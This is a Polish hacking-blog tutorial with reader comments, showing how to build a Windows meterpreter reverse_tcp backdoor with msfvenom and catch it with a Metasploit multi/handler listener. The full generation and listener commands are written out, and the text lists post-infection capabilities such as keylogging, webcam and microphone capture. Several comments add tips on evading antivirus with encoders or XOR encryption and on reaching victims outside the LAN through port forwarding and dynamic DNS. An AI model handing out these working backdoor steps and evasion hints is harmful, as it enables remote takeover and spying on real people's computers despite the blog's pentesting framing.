Dzisiaj pokażemy na przykładzie jak używać następcy narzędzi msfpayload i msfencode pakietu Metasploit Framework. Mowa oczywiście o msfvenom, który służy do generowania i kodowania ładunków payload metasploit. Narzędzie dostępne jest w systemie dla hakerów Kali Linux. Wielką zaletą modułu msfvenom jest jego wszechstronność. Za jego pomocą możemy wygenerować zarówno samodzielny payload dla systemu z rodziny Microsoft Windows jak i interpretatorów języków skryptowych takich jak PHP, Pythona lub Ruby. Cyberprzestępcy wykorzystują takie backdoory w połączeniu z socjaltechniką do zarażenia komputera swojej ofiary nawet z drugiego końca świata i oczywiście przejęcia nad nim pełnej kontroli.
Należy pamiętać, że wpis ma charakter edukacyjny i jest przeznaczony dla przyszłych pentesterów i specjalistów od bezpieczeństwa informatycznego. Często w firmach podczas audytów wykonuje się takie próby w połączeniu z inżynierą społeczną na pracownikach, aby ostatecznie zawrzeć w raporcie odpowiednie wzmianki o świadomości użytkowników sieci firmowej.
Generowanie ładunku payload
Jedyne czego potrzebujemy to system operacyjny Kali Linux opisany w naszej darmowej szkole hakerów. Oczywiście możesz użyć dowolnego innego systemu z zainstalowanym pakietem dla pentesterów o nazwie Metasploit Framework. W celu wygenerowania złośliwego ładunku shell należy wydać następujące polecenie w konsoli systemu:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=MOJE_IP LPORT=16666 -f exe > backdoor.exe
W powyższym poleceniu zostały zastosowane następujące opcjonalne parametry programu msfvenom:
- -p – wykorzystany payload programu Metaspolit Framework. Ładunek należy dobrać pod dany cel i system operacyjny ofiary. W naszym przypadku payload przeznaczony jest dla systemu Microsoft Windows, wykorzystuje odwrotne połączenie TCP i da nam dostęp do konsoli meterpretera.
- LHOST – w przypadku wyboru shellu reverse_tcp wymagane jest podanie adresu IP systemu napastnika z którym uruchomiony plik ma się połączyć. Lepiej to pokazuje obrazek znajdujący się powyżej w tym wpisie. Jeżeli chcemy, aby działało to poza LAN musimy podać oczywiście nasz zewnętrzny adres IP i w niektórych wypadkach przekierować i odblokować port o numerze w naszym przypadku 16666 w ustawieniach naszego routera. Taka czynność nazywana jest potocznie port forwarding.
- LPORT – port na którym ma działać trojan. Na tym samym porcie haker musi nasłuchiwać przychodzących połączeń
- -f – format pliku wynikowego. W naszym przypadku jest to standardowa aplikacja Windows z rozszerzeniem .exe.
Listę wszystkich dostępnych ładunków wraz z opisem możemy uzyskać za pomocą polecenia:
msfvenom -l payloads > ladunki.txt
Dostępne payloady możesz podejrzeć w pliku ladunki.txt. Warto zapamiętać sobie również, że dla różnych ładunków może być różna ilość parametrów ładunku.
Inne typy ładunków można zobaczyć wydając komende:
msfvenom --help-formats
W celu uzyskania listy wymaganych argumentów danego pajlołda warto wydać następujące polecenie:
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
Wybierając port na którym działa backdoor, cyberprzestępca musi pamiętać że nie może on być zajęty. Można sprawdzić to za pomocą opisywanego wielokrotnie przez nas skanera portów nmap. Istotną sprawą jest też zakres portów protokołu (0 do 65535).
Dobrze! Mamy już wygenerowany plik umożliwiający po uruchomieniu na komputerze ofiary na dostanie się do niego z pełnym dostępem.
Rodzaje ładunków payload
Ja osobiście wyróżniłbym trzy podstawowe typy ładunków. Są one następujące:
- ładunki typu bind_tcp – w tym przypadku na komputerze celu tworzony jest serwer nasłuchujący. To haker musi znać adres IP ofiary i z nim się połączyć. Z jego charakterystyki wynika fakt, że może to być połączenie bezpieczniejsze ponieważ cracker może wykorzystać PROXY do zamaskowania swojego IP. Inną cechą jest wymóg posiadania zewnętrznego IP, czyli ofiara musi mieć mówiąc w uproszczeniu możliwość hostowania serwerów (np. gier).
- ładunki typu reverse_tcp – w tym przypadku to ładunek łączy się po uruchomieniu z zewnętrznym serwerem lub komputerem hakera. Haker lub serwer musi mieć zewnętrzne IP. Właśnie dlatego w naszym przykładzie payload windows/meterpreter/reverse_tcp wymaga parametru LHOST (host lokalny hakera). Nie jest to oczywiści jedyny payload metasploit typu odwrotnego połączenia TCP/IP.
- inne ładunki – istnieje wiele innych typów ładunków wykorzystujących wszelakie podatności atakowanego systemu i nie dające bezpośrednio dostępu do komputera ofiary. Dla przykładu niektóre ładunki pobierają tylko w tle pewien plik wedle konfiguracji payloada i go uruchamiają. Przykładem może być cmd/windows/download_exec_vbs którego opis jest następujący Download an EXE from an HTTP(S) URL and execute it. Warto przejrzeć listę ładunków wraz z ich opisami za pomocą wcześniej podanego polecania terminala. Na pewno można w ten sposób wiele nauczyć się.
Nasłuchiwanie połączenia ofiary z ładunkiem
To nie koniec próby ataku. Jako, że wybraliśmy ładunek typu reverse_tcp, należy oczywiście nasłuchiwać przychodzących połączeń na porcie 16666. Użyjemy specjalnie do tego celu przygotowany moduł multi/handler pakietu Metasploit Framework. Wydaj następujące polecenie:
msfcli multi/handler payload=windows/meterpreter/reverse_tcp lport=16666 lhost=MOJE_IP E
Wykorzystaliśmy możliwość wywoływania poleceń za pomocą interfejsu poleceń Msfconsole. Jeśli powyższy sposób nie działa to prawdopodobnie korzystasz z nowej wersji Kali Linuxa z wycofanym narzędziem msfcli. Skorzystaj wtedy z następujących po sobie komend:
msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lport 16666 set lhost 192.168.0.19 run
Powyższy drugi sposób zaprezentowaliśmy kiedyś na naszym blogu w darmowej szkole hakerów wprost z Metasploit Framework w Kali Linux.
Gotowe. Jeżeli już nasłuchujemy i na systemie atakowanym zostanie uruchomiony nasz wygenerowany plik to wtedy przejmiemy kontrole nad zdalnym systemem. Możemy uruchomić moduł keyloggera, wykonywać dowolne polecenia w systemie wraz z kasowaniem plików, zdalnie sniffować, uruchomić zdalny pulit VNC, podsłuchiwać dźwięk z mikrofonu lub nawet podglądać obraz z kamerki internetowej. Jeśli chcesz więcej dowiedzieć się o poleceniach meterpretera wpisz polecenie help.
UPDATE 08-12-2015: Uwaga! Wielu czytelników zgłosiło, że nie działa polecenie msfcli w systemach z nowszym pakietem Metasploit Framework np. Kali Linux 2.0. Po zbadaniu sprawy wychodzi na to, że teraz to polecenie nosi nazwę msfconsole.
To by było dzisiaj na tyle. Być może przyda Ci się nasz inny wpis dotyczący tego jak zmienić ikonę pliku. Zapraszamy do pulubienia nas na facebooku HakerEduPL. Trzymajcie się mocno i czytajcie książki zarówno fabularne jak i informatyczne! Pozdrawiamy! 🙂
Coś jak RAT ale nie do końca. A co do RAT miło byłoby zobaczyć jakiś poradniczek na ten temat. Pozdrawiam 😉
Bo w gruncie rzeczy to trafne spostrzeżenie. Jak najbardziej jest to RAT. Tylko tak jak pisaliśmy payload to jest ładunek więc jego funkcjonalność może być dowolna (on tylko przenosi jak ciężarówka pewną funkcjonalność). Dziękuje za komentarz Defalt. 😉
hmm jest sposób żeby „atakować” kogoś z poza sieci lokalnej bez zewnętrznegi ip bo w mojm ruterze nie przekierowywania portów, a chiałbym przeprowadzić audyt swojego kompa
To wtedy musi mieć system atakowany zewnętrzne IP. Po prostu niemożliwością jest połączenie się z czymś czego nie widać tak jak w życiu (ani z jednej ani z drugiej strony). Ewentualnie musiałby mieć obie osoby skonfigurowany program hamachi (wirtualna sieć LAN).
może ktoś wiedzieć dlaczego „msfcli” nie działa? pisze command not found
Jaki system dokładnie? Czy jesteś na koncie administratora (roota)?
Tak jestem na koncie roota system najnowszy pobrany dzisiaj ze strony
Spróbuj na kali linux 1.1.0, na nim zostały przetestowane polecenia. Nie przypuszczałem, że w nowej wersji coś przekonfigurują lub usuną.
Jak atakuje swój drugi komputer to tez jest nielegalne?
Nie, bo masz „swoją” zgodę na takie testy penetracyjne 🙂
Czy jest mozliwosc odczytywania sms z tel. innej osoby, np dziewczyny zeby spr czy mowi prawde? Albo czy jest mozliwosc taka zeby spr polaczenia np. zeby kazde polaczenie ktore dana osoba wykona bylo przysylane na maila z nr temtej osoby?
Tak, musisz iść do operatora sieci z nakazem prokuratorskim.
Pewnie jestem debilem i coś źle zrobiłem, ale dla pewności zapytam. Mimo tego, że przerzuciłem pliczek backdoor.exe na mój drugi komputer (ofiarę) i odpaliłem za pomocą administratora, to oczekiwanie na infekcję trwa w nieskończoność. Jakieś sugestie co robię nie tak jak trzeba?
Powinno stać się to od razu. Może jest już wykrywalny i antywirus zablokował? Spójrz na film jednego z naszych czytelników, może coś rozjaśni: https://www.youtube.com/watch?v=NVHneP2pjoM
msfcli na kali 2 nie działą.
Po zbadaniu sprawy rzeczywiście pakiet Metasploit Framework uległ w tej wersji systemu aktualizacji. Po przejściu w konsoli do folderu z aplikacjami użytkownika /usr/bin i wydaniu polecenia ls ms* dowiedzieliśmy się, że aplikacja zmieniła nazwę. Teraz aby ją wywołać należy wpisać msfconsole.
My działaliśmy po prostu na starej wersji Kaliego 1.1.
Dlaczego kiedy napiszę set payload windows/meterpreter/reverse_tcp i wciśnę enter pisze ,,The value specified for payload is not valid
A wpisujesz to najpierw wybierając exploita? Widocznie dany ładunek payload nie jest dedykowany dla danego exploita który wybrałeś do testów. Dostępne ładunki możesz uzyskać za pomocą następującego polecenia:
show payloads
Ciężko wróżyć z fusów, ponieważ tutaj nie użyliśmy polecenia set ponieważ działaliśmy z msfcli (msfconsole).
Stworzyłem plik i na moim PC (win7 64bit) się niestety nie chce odpalić.
Wyskakuje komunikat: „wersja tego pliku jest niezgodne z wersją używanego systemu windows”.
Można to jakoś przerobić pod system 64 bit aalbo na 64. odpalić ten plik?
Dziwne, wygląda na uszkodzony plik. Czy wysyłasz ten plik e-mailem lub antywirus w tle nie zablokował jego działania lub usunął jego funkcjonalność unieszkodliwiając go? Powinien działać wygenerowany plik na systemie 64 bitowym. Co do sedna Twojego pytania. Inne ładunki możesz zobaczyć wydając polecenie
msfvenom --help-formats
. Następnie po wyborze odpowiedniego dla siebie wydaj polecenie tak jak zostało przedstawione w tym wpisie z dodatkowym parametrem--format <format>
. Wskazujesz nim jaki format pliku do wygenerowania Cię interesuje z listy dostępnych.A ktoś może naprowadzi jak zrobić żeby Windows defender nie wykrywał tego ?
https://www.haker.edu.pl/2015/10/07/szyfrowanie-plikow-xor-w-c/
Użyj gotowych rozwiązań. MSFVenom ma ciekawe parametry opcjonalne np: encoder… 🙂
Witam , czy mozna poprosic o krotki poradnik zwiazany z openvas ? jak wiadomo nessus jest juz tylko wersja trial ale jakze wspanialy jest openvas wiem ze sa u niektorych problemy z instalacja i konfiguracja ale chodzi glownie okorzystanie z niego . Pozdrawiam serdecznie
W nessusie możesz korzystać z tego triala ponieważ nie ogranicza on funkcjonalności w żaden sposób i do treningu wystarczy. Takie narzędzia są w 100% zbędne jeśli nie pracujesz zawodowo w firmie audytorskiej gdzie, ważny jest czas i automatyzacja.
PS1: widziałeś https://www.youtube.com/watch?v=y9hjkgX9BrU?
PS2: Nie wykluczam, że jak będzie czas to i onenvas się pojawia, ale wydaje mi się że on już jest w zainstalowany w Kali Linuksie i gotowy do pracy. Korzystanie z niego to podstawy języka angielskiego, bo on za Ciebie nie wykorzysta podatności tylko wskaże prawdopodobieństwo jego wykorzystania.
Dzięki za komentarz Kim!
zgadza sie ale trial tylko 7 dniowy 🙁 wiec jak bede chial pokorzystac np w wolny weekend to juz lipa 🙁 jakas alternatywa lub cos podobnego polecisz? oczywiscie darmowego bo tak jak mowisz nie jestem pentesterem klasy A+ tylko czasem pokorzystam w celach naukowych na moich dwoch lapkach . A tak poza tematem ostatnio robilem update i upgrade kaliego na vm i dziecko mi wylaczylo vm klikajac co popadnie i system kali linux siadl juz go nie odpalilem wyskakiwal blad 🙁 instalacja od nowa alez koszmar . Pozdrawiam i prowadz bloga dalej bo jest moim podrecznikiem 🙂
OpenVAS i https://www.youtube.com/watch?v=y9hjkgX9BrU.
Dzieki za odpowiedzi na moje irytujące pewnie pytania:P , i tu pojawia sie kolejne , chce stworzyc payloada w formacie exe na win 7 64x i tworze, odpalam na kompie i nie laczy mi w metasploicie pojawia mi sie komunikat ze stworzylem ale nie dla tej wersji windowsa chyba chodzi o to ze dziala pod 32 bit jak stworzyc pod 64? widows/meterpreter/reverse_tcp nie działa bo jego wlasnie uzywam i czy port ktory robie np 1666 jak u Ciebie na filmiku musi byc otwart na tym win 7? i jak go otworzyc ? skanujac nmapem pokazuje mi tylko otwarty port 80 i 111 pod te porty robic? czy musze jakos inaczej przegladalem material wiele razy i nie moge dojsc co jest nie tak prosze o podpowiedz . Pozdrawiam
Porty otwiera się na routerze i NMAP nic do tego nie ma. Dokładniej chodzi o przekierowanie portów (port forwarding) i multum stron i informacji na ten temat jest w sieci. Jeśli działasz w sieci LAN tak jak my prezentujemy to nic nie musisz otwierać KIM.
Payload nie dziala w windows pojawia sie komunikat program wirus.exe przestał działać i tak za kazdym razem co moze byc nie tak robie wedlug twojego polecenia i haskyego z yt mam win7 x64. Pozdro
Może już ten payload jest wykrywalny i antywirus usunął część zagrożenia? Od tego właśnie są AV, aby chronić przed tego typu backdoorami.
Ok ale jak robie payloada w SET to wszystko sie udaje pokazane jest ze polaczono i sesia otwarta ale nie pojawia sie meterpreter> zostaje tylko na tym ze sesia otwarta i dalej nic nie moge zrobic co moze byc przyczyna?
Może jakiś firewall lub antywirus w ostatnim momencie reaguje?
Wpisujesz komende „sessions -i 1” i wczyta ci sesję 😉
Pozdrawiam!
sprawdzilem wszystkie zapory wylaczone itd i nie wiem juz kompletnie co moze byc przyczyna chcialem sprobowac z TheFatRat ale nie moge zainstalowac mingw32 ;/ polecenie apt-get install mingw32 wyswietla ze nie udalo sie odnalzezc pakietu mingw32 moze jakas podpowiedz??Pozdrawiam czekam na nowe toutoriale 🙂
Najnowsze sana repository do source.list Pozdrawiam
Jakby przekierować port 80 na swoim routerze to ktoś kto się połączy przez przeglądarkę z naszym zewnątrznym IP z portem 80 będzie widzieć na jakie strony wchodzimy?
Zdecydowanie nie. Żeby cokolwiek zobaczyła osoba w takim przypadku, musiałbyś uruchomić u siebie serwer HTTP. Wtedy ta osoby z poza sieci LAN (za NAT/routera), mogłaby oglądać tą Twoją stronę internetową którą uruchomiłeś.
Witam,
Po wpisaniu polecenia „msfconsole multi/handler payload=windows/meterpreter/reverse_tcp lport=16666 lhost=MOJE_IP E”
Pokazuje mi się coś takiego: http://i.imgur.com/oQ1GETz.png
Dalej nic się nie dzieje…
Bo ostatnio ciągle modyfikują moduły w pakiecie, może Ci pomoże pełna wersja tego polecenia np. tutaj opisana:
https://www.haker.edu.pl/2016/08/01/msfcli-w-kali-linux-2-0/
jak podłączyć sie do bind_tcp?
W tym wideo chyba było o bind_tcp, jednak trzeba pamiętać że to rozwiązanie ma wiele wad: https://www.haker.edu.pl/2014/10/13/jak-sie-wlamac-do-systemu-windows/
Jak ukryć ładunek przed antywirusem ?
Można skorzystać z np: msfencode, jednak są to publiczne rozwiązania i będzie to nadal wykrywalne. Jedynie co możesz zrobić to nauczyć się programować i samemu od zera swój ładunek napisać w jakimś języku, lub również nauczyć się programować ale napisać crypter który szyfruje tak jak msfencode kod.
Witam, posiadam Kali Linux 2.0
W jaki sposób mógłbym
1. „Zapisać” sesje (w sensie, że np mam na pulpicie, klikam i jestem połączony z ofiarą – konsola gotowa)
2. Móc to zrobić spoza sieci LAN – Czy jest jakaś metoda a’la Hamachi, ale żeby ofiarę minimalnie ingerować w jakiekolwiek działania.
Lub żeby już się nie bawić w pseudo LAN, tylko poza siecią mieć zdalny dostęp..
( jeśli napisałem niezrozumiale to przepraszam, ostatnio strasznie plącze mi się język 😉 )
Mlody lec po ksiazki i doczytaj co to jest LAN, NAT etc. Potem wroc tutaj i popraw pytanie
Mam problem przy starcie nasłuchiwania wyskakuje mi na początku handler failed to bind moje ip po czym zmienia na 0.0.0.0
jak zrobic ładunek dla androida?
Było o ładunkach Metasploit na Androida na naszym kanale YouTube: https://www.youtube.com/watch?v=28vGNFXrPpY
Co muszę zrobić by mieć możliwość hostowania? Muszę skontaktować się z dostawcą internetu w tym celu czy trzeba to jakoś skonfigurować?
Po pierwsze w celu jakiegokolwiek hostowania (gry/strony internetowej/usługi etc) musisz posiadać publiczny zewnętrzny adres IP. Oznacza to, że w skali świata masz unikatowy adres IP. Zazwyczaj takowa opcja jest dodatkowo co miesiąc płatna u usługodawcy. W celu zamówienia takowego adresu (być może już taki masz) musisz tak jak napisałeś skontaktować się z dostawcą internetu i zapytać jak to jest z Twoim publicznym IP. Czy trzeba skonfigurować? Tak trzeba. W przypadku, gdy posiadasz router to pełni on rolę pewnego rodzaju firewalla łączącego sieć zewnętrzną (Internet) z Twoją siecią lokalną wewnętrzną LAN. Musisz wtedy wykonać tzn. przekierowanie portów w ustawieniach routera. Kiedyś port forwarding został już opisany na blogu: https://www.haker.edu.pl/2017/04/14/przekierowanie-portow/
Hej, powiedz mi, jak wykorzystać możliwości payloadów i innych tego typu rozwiązań, jeśli mam dynamiczne ip ? Gdzieś czytałem, ze serwisy typy dyn.com/dns lub noip.com ktore potrafia zamienić dynamiczne ip za każdym razem po przydzieleniu w nazwę hosta, w tego typu testach podatności nie działają. Ile w tym prawdy ? Oraz jak sobie poradzić w takim przypadku, jeśli ww serwisy nie pomogą?
Działają, tylko przytoczony przez Ciebie dyndns jest płatny jak większość tego typu usług. Czemu mają nie działać? Payload to zwykła usługa sieciowa. Powiem więcej… w większości obecnych nawet tanich routerów można sobie przypiąć dyndns do routera…
Witam jeżeli posiadam system Whonix Gateway i przez niego idzie ruch z Kali a komputer osoby atakowanej to moj komputer w innej sieci to jak powinno wyglądać odblokowywanie portów na routerze i jak ustalic ip lhosta skoro jestem połaczony przez proxy
Ze względu na działanie sieci Tor (losowe węzły i tak dalej) takie operacje nie są możliwe. Alternatywnie możesz sobie kupić VPN umożliwiający port forwarding (nie każdy ma) jeśli chcesz mieć zmieniony adres IP. Alternatywnie można użyć połączenia typu bind_tcp w którym to Ty łączysz się z ładunkiem, a nie on z Tobą (reverse_tcp). Wtedy po prostu w normalny sposób logujesz się do routera w tej drugiej Twojej sieci i sobie konfigurujesz standardowo przekierowanie portów.
Witam mam pytanie czy mozna ofierze wyslac ten ladunek ofierze zeby nie zorientowala sie ?
To jest przestępstwo, a to jest blog dla przyszłych audytorów bezpieczeństwa (pentester) a nie przestępców.
Witam mam pytanie :
Po wpisaniu „msfvenom -p windows/meterpreter/reverse_tcp LHOST=MOJE_IP LPORT=16666 -f exe > backdoor.exe ”
Wyskakuje mi : No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
Pomoze ktoś ??
DOstalem meila z groźbami od hakera. Co oTym myslec?
Scam. Zignoruj wiadomość 🙂
dostałem podobną wiadomość i do dziś sie nic nie stało, czyli tak jak AGAFRAZ pisze, SCAM
Nie mogę odpalić tego pliku na komputerze z Windows 10. Wyskakuje „Ta aplikacja nie będzie działać na twoim komputerze”. Co mam zrobić???
Poziom tego tworu jest masakryczny
Proszę o naprawienie linków do plików w miejscu z filmami i plikami( catshare.net ) od dawna nie działa.
No mi nie działa bo wyświetla się tylko pierwsza gwiazdka (Ta niebieska)